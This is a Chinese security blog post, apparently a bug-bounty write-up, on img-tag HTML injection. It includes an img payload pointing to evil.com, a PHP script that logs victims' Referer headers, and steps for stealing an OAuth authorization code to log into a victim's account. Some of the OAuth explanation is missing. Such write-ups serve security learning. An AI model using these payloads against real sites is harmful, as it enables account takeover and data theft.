<
img标签之xss利用从放弃到OAuth授权劫持
>
上一篇

XSS-Payload+姿势
下一篇

PHP反序列化之session,soap,ssrf漏洞与利用详述

img标签之xss利用从放弃到OAuth授权劫持

文章首发于i春秋:https://bbs.ichunqiu.com/thread-48657-1-1.html

一、前奏

惊喜跌落无奈

在某众测时,发现可注入img标签,自然联想到xss的利用,窃感惊喜。可是经过一番折腾测试之后,无奈过滤了可能引起xss的标签内属性与 alert事件….,且经页面过滤之后只遗留下了

<img src='xxxxx'>

继续思考可能的利用方式…

猫

通过html注入加载外部资源,以此达到我们的攻击,HTML注入如下:

<img+src="//evil.com/getref.php">

getref.php的内容为如下PHP代码:

<?php
file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']);
?>

经一番测试之后,结果还是不尽人意,以及更换getref.php的payload,但最终只能获取到用户HOST信息,无法得到request头携带的referer其他信息。vps得到的结果如下图所示:

test6

一番折腾,落败。

深入思考

二、后续一

继续研究下<img src="">的利用方式发现在OAuth用户授权劫持曾出现过他的身影。先简单介绍下OAuth。

OAuth简介

开放授权(OAuth)是一个开放标准,允许用户让第三方应用访问该用户在某一网站上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用.目前广泛使用的版本是OAuth 2.0.

​ 而OAuth2.0存在认证缺陷-即第三方帐号快捷登录授权可能被劫持。

OAuth认证原理

OAuth 2.0中有6种常用的授权类型:

但是用户代理载入为:

https://a.com/homakov/8820324?code=CODE

那么用户代理会把发送请求的CODE泄露给我们的<img>

785f6c5e444f7d478455f36c2b1bd5dc

一旦我们获得受害者的CODE,我们点击 :

https://a.com/auth/github/callback?code=CODE

我们便登陆进了受害者的账号 。

Top
Foot